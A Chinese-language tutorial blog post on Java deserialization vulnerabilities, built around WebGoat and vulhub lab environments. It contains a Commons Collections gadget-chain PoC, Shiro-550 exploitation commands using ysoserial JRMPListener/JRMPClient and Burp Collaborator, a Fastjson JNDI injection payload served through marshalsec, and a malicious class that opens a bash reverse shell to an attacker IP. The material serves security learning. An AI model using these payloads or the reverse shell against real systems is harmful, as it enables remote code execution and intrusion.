通過WebGoat學習java反序列化漏洞

yokan發表於2021-09-06

首發於freebuff。

WebGoat-Insecure Deserialization

Insecure Deserialization 01

概念

本課程描述了什麼是序列化,以及如何操縱它來執行不是開發人員最初意圖的任務。

目標

1、使用者應該對Java程式語言有基本的瞭解

2、使用者將能夠檢測不安全的反序列化漏洞

3、使用者將能夠利用不安全的反序列化漏洞

反序列化的利用在其他程式語言(如PHP或Python)中略有不同,但這裡學到的關鍵概念也適用於所有這些語言

Insecure Deserialization 02

序列化是什麼

序列化是將某個物件轉換為後期可以還原的資料格式的過程。人們經常序列化物件,以便將它們儲存起來,或作為通訊的一部分傳送。反序列化與從某種格式獲取結構化資料的過程相反,它是將其重建為物件的過程。如今,用於序列化資料的最流行的資料格式是JSON。在那之前,它是XML

1630248704_612b9f002e331f1c3e921.png!small?1630248704047

原生序列化

許多程式語言都提供了序列化物件的原生功能。這些原生格式通常提供比JSON或XML更多的特性,包括序列化過程的可定製性。不幸的是,當操作不可信的資料時,這些原生反序列化機制的特性可能會被重新利用,產生惡意影響。針對反序列化器的攻擊已經被發現允許拒絕服務、訪問控制和遠端程式碼執行攻擊。

已知受影響的程式語言

資料,而不是程式碼

只序列化資料。程式碼本身沒有序列化。反序列化建立一個新物件並從位元組流複製所有資料,以便獲得與已序列化物件相同的物件。

Insecure Deserialization 03

最簡單的利用

漏洞程式碼

下面是一個眾所周知的Java反序列化漏洞示例

1630248722_612b9f124967c5245272a.png!small

它期望一個AcmeObject物件,但是它將在強制轉換髮生之前執行readObject()。如果攻擊者發現適當的類在readObject()中實現了危險的操作,他可以序列化該物件,並強制易受攻擊的應用程式執行這些操作。

ClassPath中包含的類

攻擊者需要在ClassPath中找到一個支援序列化並在readObject()上具有危險實現的類。

1630248754_612b9f324f39ce0d4f990.png!small

利用

如果上面顯示的java類存在,攻擊者可以序列化該物件並獲得遠端程式碼執行。

1630248776_612b9f489e618f080df5d.png!small?1630248776431

Insecure Deserialization 04

什麼是Gadets Chain

在反序列化時發現一個執行危險操作的gadget是很少的(但也可能發生)。但是,當一個gadget被反序列化時,要找到一個在其他gatget上執行操作的gadget要容易得多,而第二個gadget在第三個gadget上執行更多操作,以此類推,直到觸發真正危險的操作。可以在反序列化過程中使用的gadget集被稱為Gadget Chain。

尋找gadgets來構建gadget chains是安全研究人員的一個活躍話題。這種研究通常需要花費大量的時間閱讀程式碼。

Insecure Deserialization 05

任務

下面的輸入框接收一個序列化的物件(一個字串)並對其進行反序列化。

1630248805_612b9f65bcec886e88c90.png!small?1630248805564

嘗試更改這個序列化物件,以便將頁面響應延遲恰好5秒。

原始碼分析

webgoat/deserialization/InsecureDeserializationTask.java

1630248818_612b9f724857813920793.png!small?1630248818174

後端拿到我們的token之後進行了一個特殊符號替換,然後進行了base64解碼,解碼過後進行了readObject()反序列化操作,最後判斷一下這個物件是不是VulnerableTaskHolder的例項。所以,我們反序列化的物件也就確定了,那就是VulnerableTaskHolder類的例項。

VulnerableTaskHolder類的實現:

insecure/framework/VulnerableTaskHolder.java

關注readObject方法

1630248836_612b9f849e54428c690f0.png!small?1630248836572

可以看到這裡直接利用Runtime.getRuntime().exec()執行了taskAction,而taskAction是在建構函式裡被賦值的:

1630248846_612b9f8e576d1992f5890.png!small?1630248846199

所以我們可以通過控制taskAction來控制執行的命令

實現

VulnerableTaskHolder.java 直接copy原始碼,把沒用的刪掉即可

1630248857_612b9f991b87e3f65cf40.png!small?16302488571481630248864_612b9fa07e13cb009843e.png!small?1630248864370

在學習java反序列化之前

JMX

JMX (java Management Extensions,即Java管理擴充套件),是一套標準的代理和服務,使用者可以在任何Java應用程式中使用這些代理和服務實現管理,中介軟體軟體WebLogic的管理頁面就是基於JMX開發的,而JBoss則整個系統都基於JMX構架。

RMI

RMI(Remote Method Invocation),遠端方法呼叫。通過RMI技術,某一個本地的JVM可以呼叫存在於另外一個JVM中的物件方法,就好像它僅僅是在呼叫本地JVM中某個物件方法一樣。

RMI是Java的一組擁護開發分散式應用程式的API,實現了不同作業系統之間程式的方法呼叫。值得注意的是,RMI的傳輸100%基於反序列化,Java RMI的預設埠是1099埠。

JNDI(Java Naming and Directory Interface),Java 命名與目錄介面。JNDI是登錄檔可以包含很多的RMI,舉個例子就JNDI像個本子,RMI像本子上的記錄,客戶端呼叫RMI記錄的時候會先去JNDI這個本子,然後從本子上找相應的RMI記錄

RMI使用Java遠端方法協議(JRMP)進行遠端Java物件通訊。 RMI缺少與其他語言的互操作性,因為它不使用CORBA-IIOP作為通訊協議。

Java反射機制

概念

Java 反射機制是 Java 語言的一個重要特性。在學習 Java 反射機制前,應該先了解兩個概念,編譯期和執行期。

編譯期是指把原始碼交給編譯器編譯成計算機可以執行的檔案的過程。在 Java 中也就是把 Java 程式碼編成 class 檔案的過程。編譯期只是做了一些翻譯功能,並沒有把程式碼放在記憶體中執行起來,而只是把程式碼當成文字進行操作,比如檢查錯誤。

執行期是把編譯後的檔案交給計算機執行,直到程式執行結束。所謂執行期就把在磁碟中的程式碼放到記憶體中執行起來。

Java 反射機制是在執行狀態中,對於任意一個類,都能夠知道這個類的所有屬性和方法;對於任意一個物件,都能夠呼叫它的任意方法和屬性;這種動態獲取資訊以及動態呼叫物件方法的功能稱為 Java 語言的反射機制。簡單來說,反射機制指的是程式在執行時能夠獲取自身的資訊。在 Java 中,只要給定類的名字,就可以通過反射機制來獲得類的所有資訊。

具體實現

下面是一個基本的類 Person

1630248927_612b9fdfd9c9ce0bc4903.png!small?1630248928932

1、得到 Class 的三種方式:

getClass()、 類名.class 、Class物件的forName()靜態方法

1630248939_612b9feb181875ecac57a.png!small?1630248939028

需要注意的是:一個類在 JVM 中只會有一個 Class 例項,即我們對上面獲取的 c1,c2,c3進行 equals 比較,發現都是true

2、通過 Class 類獲取成員變數、成員方法、介面、超類、構造方法等

查閱 API 可以看到 Class 有很多方法:

1630248952_612b9ff885758eca1328d.png!small?1630248952431

3、我們通過一個例子來綜合演示上面的方法:

1630248962_612ba002e60e51a998a9c.png!small?1630248963282

Runtime.getRuntime().exec()

在java中執行系統命令的方法:

1630248976_612ba0104354a42fbc36c.png!small?1630248976108

該程式碼會執行並開啟windows下的記事本
它正常的步驟是

1630248987_612ba01b3d9fddb111518.png!small?1630248987165

那麼相應的反射的程式碼如下

1630248998_612ba02666c3c760079d6.png!small?1630248998326

getMethod(方法名,方法型別)invoke(某個物件例項, 傳入引數)

這裡第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等價於 Object runtime = Runtime.getRuntime()
目的是獲取一個物件例項好被下一個invoke呼叫

第二句Class.forName("java.lang.Runtime").xxxx的作用就是呼叫上一步生成的runtime例項的exec方法,並將"notepad.exe"引數傳入exec()方法

認識Java序列化與反序列化

序列化:把物件轉換成位元組流,方便持久化儲存

反序列化:把序列化後的位元組流,還原成物件處理

序列化是將物件狀態轉換為可保持或傳輸的格式的過程。與序列化相對的是反序列化,它將流轉換為物件。

這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,這就是序列化的意義所在

序列化與反序列化是讓Java物件脫離Java執行環境的一種手段,可以有效的實現多平臺之間的通訊、物件持久化儲存。主要應用在以下場景:

1630249027_612ba043eb6288ffe2a09.png!small?1630249027831

Java中的API實現

1630249035_612ba04b1523b2cd87588.png!small?1630249034934

簡單測試:

1630249048_612ba058d6c34403a4ff3.png!small?1630249048750

我們可以看到,先通過輸入流建立一個檔案,再呼叫ObjectOutputStream類的 writeObject方法把序列化的資料寫入該檔案;然後呼叫ObjectInputStream類的readObject方法反序列化資料並列印資料內容。

實現SerializableExternalizable介面的類的物件才能被序列化。

Externalizable介面繼承自 Serializable介面,實現Externalizable介面的類完全由自身來控制序列化的行為,而僅實現Serializable介面的類可以採用預設的序列化方式 。

物件序列化包括如下步驟:

1) 建立一個物件輸出流,它可以包裝一個其他型別的目標輸出流,如檔案輸出流;

2) 通過物件輸出流的writeObject()方法寫物件。

1630249067_612ba06be3dd231f3a223.png!small?1630249067766

物件反序列化的步驟如下:

1) 建立一個物件輸入流,它可以包裝一個其他型別的源輸入流,如檔案輸入流;

2) 通過物件輸入流的readObject()方法讀取物件。

程式碼例項

我們建立一個Person介面,然後寫兩個方法:

序列化方法: 建立一個Person例項,呼叫函式為其三個成員變數賦值,通過writeObject方法把該物件序列化,寫入Person.txt檔案中

反序列化方法:呼叫readObject方法,返回一個經過反序列化處理的物件

在測試主類裡面,我們先序列化Person例項物件,然後又反序列化該物件,最後呼叫函式獲取各個成員變數的值。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {
    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    private int age;
    private String name;
    private String sex;
    
    public int getAge() {
        return age;
    }
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 測試物件的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person物件
        Person p = DeserializePerson();//反序列Perons物件
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person物件
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 物件輸出流,將Person物件儲存到Person.txt檔案中,完成對Person物件的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person物件序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons物件
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person物件反序列化成功!");
        return person;
    }

}

Java反序列化漏洞是怎麼產生的

如果Java應用對使用者輸入,即不可信資料做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的物件,非預期的物件在產生過程中就有可能帶來任意程式碼執行。

漏洞分析

Apache Commons Collections

專案地址

官網:http://commons.apache.org/proper/commons-collections/

Github: https://github.com/apache/commons-collections

org.apache.commons.collections提供一個類包來擴充套件和增加標準的Java的collection框架,也就是說這些擴充套件也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解為一組物件,collection裡面的物件稱為collection的物件。具象的collection為setlistqueue等等,它們是集合型別。換一種理解方式,collection是set,list,queue的抽象。

1630249222_612ba10619310aa79971a.png!small?1630249222055

作為Apache開源專案的重要元件,Commons Collections被廣泛應用於各種Java應用的開發,而正是因為在大量web應用程式中這些類的實現以及方法的呼叫,導致了反序列化漏洞的普遍性和嚴重性。

Apache Commons Collections中有一個特殊的介面,其中有一個實現該介面的類可以通過呼叫Java的反射機制來呼叫任意函式,叫做InvokerTransformer。

1630249238_612ba11661e440217abb3.png!small?1630249238322

POC構造

首先,我們可以知道,要想在java中呼叫外部命令,可以使用這個函式 Runtime.getRuntime().exec(),然而,我們現在需要先找到一個物件,可以儲存並在特定情況下執行我們的命令。

1630249246_612ba11e695c96577bc0f.png!small?1630249246221

(1)Map--> TransformedMap

Map類是儲存鍵值對的資料結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被新增/刪除/或是被修改時(即key或value:集合中的資料儲存形式即是一個索引對應一個值),會呼叫transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的資料發生改變時,可以自動的進行一些特殊的變換,比如在資料被修改時,把它改回來或者在資料改變時,進行一些我們提前設定好的操作。

至於會進行怎樣的操作或變換,這是由我們提前設定的,這個叫做transform。

我們可以通過TransformedMap.decorate()方法獲得一個TransformedMap的例項

1630249262_612ba12ee674457d57a01.png!small?16302492628371630249269_612ba1357e002983668d2.png!small?1630249269376

(2)Transformer介面

1630249281_612ba141ac5afd149f708.png!small?1630249281549

transform的原始碼

1630249296_612ba150359c3de5911e7.png!small?1630249296104

我們可以看到該類接收一個物件,獲取該物件的名稱,然後呼叫了一個invoke反射方法。另外,多個Transformer還能串起來,形成ChainedTransformer。當觸發時,ChainedTransformer可以按順序呼叫一系列的變換。

下面是一些實現Transformer介面的類,箭頭標註的是我們會用到的。

1630249335_612ba177b7308a388db75.png!small?1630249336517

1630249338_612ba17a572bfa6d0d319.png!small?1630249338413

Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來呼叫任意函式,叫做InvokerTransformer,程式碼如下:

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input引數為要進行反射的物件,
        iMethodName,iParamTypes為呼叫的方法名稱以及該方法的引數型別
        iArgs為對應方法的引數
        在invokeTransformer這個類的建構函式中我們可以發現,這三個引數均為可控引數
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要傳入方法名、引數型別和引數,即可呼叫任意函式。

1630249376_612ba1a05bca1558fbac4.png!small?1630249376338

在這裡,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接著反射呼叫getRuntime函式,再呼叫getRuntime的exec()函式,執行命令""。依次呼叫關係為: Runtime --> getRuntime --> exec()

因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次呼叫Runtime, getRuntime,exec函式,進而執行命令。正式開始時,我們先構造一個TransformeMap例項,然後想辦法修改它其中的資料,使其自動呼叫tansform()方法進行特定的變換(即我們之前設定好的)

再理一遍:

1630249386_612ba1aa10148652cdfc1.png!small?1630249386003

知識補充

1630249394_612ba1b24bf24abc22c60.png!small?1630249394201

我們可以實現這個思路

public static void main(String[] args) throws Exception {
    //transformers: 一個transformer鏈,包含各類transformer物件(預設轉化邏輯)的轉化陣列
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先構造一個Map和一個能夠執行程式碼的ChainedTransformer,以此生成一個TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //觸發Map中的MapEntry產生修改(例如setValue()函式
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*程式碼執行到setValue()時,就會觸發ChainedTransformer中的一系列變換函式:
       首先通過ConstantTransformer獲得Runtime類
       進一步通過反射呼叫getMethod找到invoke函式
       最後再執行命令calc.exe。
    */
}

更近一步

我們知道,如果一個類的方法被重寫,那麼在呼叫這個函式時,會優先呼叫經過修改的方法。因此,如果某個可序列化的類重寫了readObject()方法,並且在readObject()中對Map型別的變數進行了鍵值修改操作,且這個Map變數是可控的,我們就可以實現攻擊目標。

AnnotationInvocationHandler類:

這個類有一個成員變數memberValues是Map型別 更棒的是,AnnotationInvocationHandler的readObject()函式中對memberValues的每一項呼叫了setValue()函式對value值進行一些變換。

這個類完全符合我們的要求,那麼,我們的思路就非常清晰了

1630249429_612ba1d5f3bfe4eebb5ce.png!small?1630249429874

所有用到的技術細節

1630249440_612ba1e05302dfbc31dce.png!small?1630249440475

具體實現

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待執行的命令陣列
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一個transformer鏈,包含各類transformer物件(預設轉化邏輯)的轉化陣列
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer類物件,傳入transformers陣列,可以按照transformers陣列的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map資料結構,轉換前的Map,Map資料結構內的物件是鍵值對形式,類比於python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map資料結構,轉換後的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的資料結構進行轉化,該方法有三個引數。
            第一個引數為待轉化的Map物件
            第二個引數為Map物件內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
            第三個引數為Map物件內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化物件(單個或者鏈或者null), value的轉化物件(單個或者鏈或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:構建BeforeTransformerMap的鍵值對,為其賦值,
     利用TransformedMap的decorate方法,對Map資料結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行

     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射呼叫Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()

*/

如何發現Java反序列化漏洞

1.從流量中發現序列化的痕跡,關鍵字:ac ed 00 05,rO0AB

2.Java RMI的傳輸100%基於反序列化,Java RMI的預設埠是1099埠

3.從原始碼入手,可以被序列化的類一定實現了Serializable介面

4.觀察反序列化時的readObject()方法是否重寫,重寫中是否有設計不合理,可以被利用之處

從可控資料的反序列化或間接的反序列化介面入手,再在此基礎上嘗試構造序列化的物件。

ysoserial是一款非常好用的Java反序列化漏洞檢測工具,該工具通過多種機制構造PoC,並靈活的運用了反射機制和動態代理機制,值得學習和研究。

ysoserial

https://github.com/frohoff/ysoserial

ysoserial是一款用於生成 利用不安全的Java物件反序列化 的有效負載的概念驗證工具。

ysoserial是在常見的java庫中發現的一組實用程式和麵向屬性的程式設計“gadget chains”,在適當的條件下,可以利用執行物件不安全反序列化的Java應用程式。主驅動程式接受使用者指定的命令,並將其封裝在使用者指定的gadget chain中,然後將這些物件序列化為stdout。當類路徑上具有所需gadgets的應用程式不安全地反序列化該資料時,將自動呼叫該鏈並導致在應用程式主機上執行該命令。

應該注意的是,漏洞在於應用程式執行不安全的反序列化,而不是在類路徑上有gadget。

我們經常在執行攻擊命令的時候,會看到命令中有 ysoserial.exploit.JRMPListener 和 ysoserial.exploit.JRMPClient,那麼JRMP到底是什麼呢?

JRMP(Java Remote Method Protocol) Java遠端方法協議,JRMP是Java技術協議的具體物件為希望和遠端引用。JRMP只能Java特有的,基於流的協議。相對於的RMI - IIOP,JRMP只能是一個物件的Java到Java的遠端呼叫,這使得它依賴語言,意思是客戶端和伺服器必須使用Java。

ysoserial 中的 exploit/JRMPClient 是作為攻擊方的程式碼,一般會結合 payloads/JRMPListener 使用,攻擊流程就是:

先往存在漏洞的伺服器傳送 payloads/JRMPListener,使伺服器反序列化該payload後,會開啟一個 RMI服務並監聽在設定的埠

然後攻擊方在自己的伺服器使用exploit/JRMPClient與存在漏洞的伺服器進行通訊,並且傳送一個可命令執行的payload(假如存在漏洞的伺服器中有使用org.apache.commons.collections包,則可以傳送CommonsCollections系列的payload),從而達到命令執行的結果。

marshalsec

https://github.com/mbechler/marshalsec

JNDI 引用間接

jndiUrl- 觸發查詢的 JNDI URL

先決條件

設定遠端程式碼庫,與遠端類載入相同。

執行指向該程式碼庫JNDI引用重定向服務-兩種實現方式包括:jndi.LDAPRefServer和RMIRefServer。

·        ```java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]```

使用 (ldap|rmi):// host: port /obj 作為jndiUrl,指向該服務的偵聽地址。

shiro-550

1.確定目標使用了 shiro

向任意請求中攜帶任意值的 rememberMe Cookie,如果響應返回了 Set-Cookie: rememberMe=deleteMe HTTP頭,則說明使用了 shiro:

1630249564_612ba25c5a870839c42ce.png!small?1630249564505

2.確定目標 shiro 使用了預設的 RememberMe cipher key

只有確定 RememberMe cipher key 正確的情況下才能繼續嘗試反序列化利用。有許多辦法可以確定這一點,一個比較簡單的辦法是通過 DNS 外帶查詢來確定。

Burp 啟動 Burp Collaborator client,點選 Copy to clipboard,從剪貼簿獲取到一個域名,類似於:m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net

1630249580_612ba26c2823f8b3c911f.png!small?1630249580028

使用 ysoserial,用上一步得到的域名生成一個 URLDNS 序列化 payload:

java -jar ysoserial.jar URLDNS

http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net> /tmp/urldns.ser

1630249595_612ba27b8ddb46fea97af.png!small?1630249596437

用 shiro 編碼指令碼將序列化 payload 進行編碼,得到 Cookie 字串:

java -jar shiro-exp.jar encrypt /tmp/urldns.ser

1630249612_612ba28cac337bb78d28a.png!small?1630249612846

再將上面得到的 Cookie 字串作為 rememberMe Cookie 的值,傳送到目標網站,如果 cipher key 正確,則目標會成功反序列化我們傳送的 payload,Burp Collaborator client 將收到 dns 解析記錄,說明目標網站存在 shiro 反序列化漏洞:

1630249622_612ba2968a6bb7c4e8134.png!small?1630249623417

3.嘗試反序列化利用

上面的步驟只是確定存在 shiro 反序列化漏洞,接下來嘗試進行利用。

攻擊者先在公網 vps 上用 ysoserial 啟一個惡意的 JRMPListener,監聽在 19999 埠,並指定使用 CommonsCollections6 模組,要讓目標執行的命令為 ping 一個域名:

java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999

CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然後用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步監聽的地址和埠(假如攻擊者伺服器 ip 地址為 1.1.1.1):

java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 編碼指令碼對 JRMPClient payload 進行編碼:

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

將最後得到的字串 Cookie 作為 rememberMe Cookie 的值,傳送到目標網站。如果利用成功,則前面指定的 ping 命令會在目標伺服器上執行,Burp Collaborator client 也將收到 DNS 解析記錄。

fastjson

0x01:環境準備

直接將github上的vulhub下載下來,進入fastjson漏洞環境目錄下,執行

dcoker-compose up -d

1630249646_612ba2ae73283f409cec9.png!small?1630249646342

訪問http://192.168.43.78:8090即可看到一個 json 物件被返回,代表漏洞環境搭建成功:

1630249656_612ba2b82ed0d6f49e7c4.png!small?1630249656060

此處將 content-type 請求頭修改為 application/json 後可向其通過 POST 請求提交新的 JSON 物件,後端會利用 fastjson 進行解析

0x02:攻擊

在自己的vps裡開啟rmi或者ldap服務

推薦使用marshalsec快速開啟rmi或ldap服務

地址:

https://github.com/mbechler/marshalsec

下載marshalsec,使用maven編譯jar包

mvn clean package -DskipTests

1630249675_612ba2cbe8edd7f9e6d13.png!small?1630249676216

1630249688_612ba2d87899b33e0fb2b.png!small?1630249688390啟動 RMI 服務的工具包準備好了,那就開始準備惡意 Java 檔案吧,如圖建立檔案TouchFile.java

1630249706_612ba2ea0245d5cd9db1c.png!small?1630249705913

接下來對TouchFile.java進行編譯,生成TouchFile.class檔案:

1630249712_612ba2f0b6d3a7c5bf43a.png!small?1630249712561

接著需要使用 Tomcat 或者 Python 搭起 Web 服務,讓TouchFile.class檔案可對外訪問,此處選擇 Python 啟動 Web 服務:

1630249729_612ba301bcec812d71812.png!small?1630249729636

此處如果你的環境是python2,使用的命令是:python -m SimpleHTTPServer 8099;如果是python3,使用的命令是:python -m http.server 8099。

在 Win 10 物理機訪問http://192.168.43.132:8099/(Kali 的 IP+剛才開啟的服務埠8088),可成功訪問到TouchFile.class檔案,如下圖所示:

1630249739_612ba30b722c7f6eeb6de.png!small?1630249739352

Web 伺服器搭建好了,接下來需要啟用 RMI 服務才行。使用上面準備好的marshalsec.jar 啟動一個RMI伺服器,監聽 9001 埠,並指定載入遠端類TouchFile.class,如下圖所示:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.43.132:8099/#TouchFile" 9001

1630249756_612ba31c5a6a26b8da691.png!small?1630249756287

在 Win 10 物理機使用 BurpSuite 向 Fastjson 靶場伺服器傳送Payload( 將方法改成POST ) 如下圖所示:

1630249766_612ba326496443483494d.png!small?1630249766144

具體Payload如下:

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.43.74:9001/TouchFile",

"autoCommit":true

}

}

此時 Kali 虛擬機器的 Web 伺服器和 RMI 伺服器分別記錄了請求資訊:

1630249778_612ba33230b7d345dadaa.png!small?1630249779249

最後可回到 Ubuntu 虛擬機器進入Fastjson 伺服器對應的 Docker 容器檢視/tmp/success是否建立成功:

1630249787_612ba33bc8b784070ee12.png!small?1630249788571

至此,已成功利用 Fastjson 反序列化漏洞實現在 Fastjson 伺服器目錄下建立檔案。

反彈Shell

可以遠端執行命令的漏洞僅僅建立檔案就太對不起辛辛苦苦搭建的靶場環境了,接下來可進一步實現反彈 Shell。方法很簡單,只需要修改以上惡意檔案TouchFile.java 的程式碼:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.125.2/1888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然後進行編譯,並跟上述過程一樣使用 BurpSuite 傳送最終的 Payload 即可。同時傳送 Payload 之前在接收 Shell 的主機開啟埠監聽,便可成功反彈 Shell.

最後注意 RMI 這種利用方式對 JDK 版本是有要求的,它在以下 JDK 版本被修復(啟動服務之前用 java -version檢視自己的 jdk 版本是否低於以下版本):

1630249901_612ba3ad2d00c328b58c5.png!small?1630249901095

參考

https://www.cnblogs.com/ssooking/p/5875215.html

https://www.jb51.net/article/173574.htm

https://blog.csdn.net/qq_36241198/article/details/118618001

https://xz.aliyun.com/t/4711

https://cloud.tencent.com/developer/article/1590955

相關文章